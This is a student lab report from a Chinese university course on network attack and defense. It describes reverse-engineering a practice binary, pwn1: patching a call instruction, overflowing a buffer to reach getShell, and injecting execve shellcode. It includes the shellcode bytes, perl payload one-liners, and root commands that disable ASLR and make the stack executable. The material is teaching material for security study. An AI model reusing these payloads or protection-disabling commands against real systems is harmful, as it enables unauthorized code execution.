2019-2020-2 20175317钟睿文《网络对抗技术》Exp1 PC平台逆向破解

2019-2020-2 20175317钟睿文《网络对抗技术》Exp1 PC平台逆向破解

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

下载目标文件pwn1,使用objdump -d pwn1pwn1反汇编:

输入图片说明

  • 主函数中call 8048491 <foo>的汇编指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ffffffe8为跳转之意。当解释执行e8这条指令时,CPU就会执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值

  • main函数调用foo,对应机器指令为e8 d7ffffff

    • 那如果要修改后让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就可以
    • 通过计算得到补码为c3ffffff
  • 由此我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

    • 使用vim打开我们备份的pwn2,显示为乱码,输入:%!xxd将显示模式切换为16进制模式
    • 查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后使用:%!xxd -r转换16进制为原格式后保存并退出

输入图片说明

使用objdump -d pwn2pwn2反汇编,检查call指令是否正确调用getShell

输入图片说明

运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程

输入图片说明

3 通过构造输入参数造成BOF攻击,改变程序执行流

  • 首先使用objdump -d pwn1 | more进行反汇编,了解程序的基本功能。

输入图片说明

我们的目标是触发getShell函数
该可执行文件正常运行是调用foo函数,foo函数有缓冲区溢出漏洞,超出系统预留长度的部分会造成溢出
我们可以利用此漏洞实现覆盖返回地址

  • 确认输入字符串哪几个字符会覆盖到返回地址
    使用gdb调试pwn1,使程序发生段错误,使用info r查看寄存器的值

输入图片说明

通过实践证明输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值

  • 确认用什么值来覆盖返回地址

getShell的内存地址为0804847d,输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08

  • 构造输入字符串

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

在命令行上直接使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input使输出重定向>将perl生成的字符串存储到文件input中。

执行后使用16进制查看指令xxd input查看input文件的内容是否如预期。

输入图片说明

然后使用(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。
经测试程序已经调用了getShell函数,达到了改变程序执行流的目的

输入图片说明

4 注入Shellcode并执行

  • 首先准备一段Shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 获取root权限后使用如下代码进行准备工作
apt-get install execstack   //安装execstack
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
more /proc/sys/kernel/randomize_va_space  //查看随机化是否关闭,如显示0则已关闭,否则未关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

  • 构造要注入的payload。

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
本次实验使用的缓冲区足够放shellcode,所以采用nops+shellcode+retaddr。
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号是3814

输入图片说明

之后启动gdb使用attach 3814调试这个进程。使用disassemble foo查看到ret的地址

输入图片说明

通过break *0x080484ae设置断点,然后在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束input_shellcode的原因。
在gdb终端输入c继续运行,使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据

输入图片说明

0xffffd38c存放的数据是01020304,那么shellcode地址就是0xffffd390
修改input_shellcode文件对应代码为:

perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后使用(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入,通过管道符“|”,作为pwn1的输入。
经检验实现了shell功能:

输入图片说明

5 实验收获与感想

之前在娄嘉鹏老师的课上接触并过溢出攻击,但是并未深度的对其展开学习,更没有亲自动手体验溢出攻击的全过程。通过本次实验我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。由此我明白了编写正确的代码是一件非常有意义的工作,特别象C语言那种看似简单而容易出错的程序,更容易出现由于追求性能而忽视正确性的问题。这警示我在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。

6 什么是漏洞?漏洞有什么危害?

  • 漏洞是系统存在的硬件或软件上的弱点或缺陷,是在开发过程中产生的安全缺陷。
  • 漏洞会使系统暴露在危险之中,威胁到系统的安全。攻击者可以通过系统的漏洞发起攻击,从而可以在未授权的情况下访问或破坏系统,实现盗取、篡改数据等操作,可能会带来严重的后果。
posted @ 2020-02-29 22:28  20175317zrw  阅读(216)  评论(0编辑  收藏
//点赞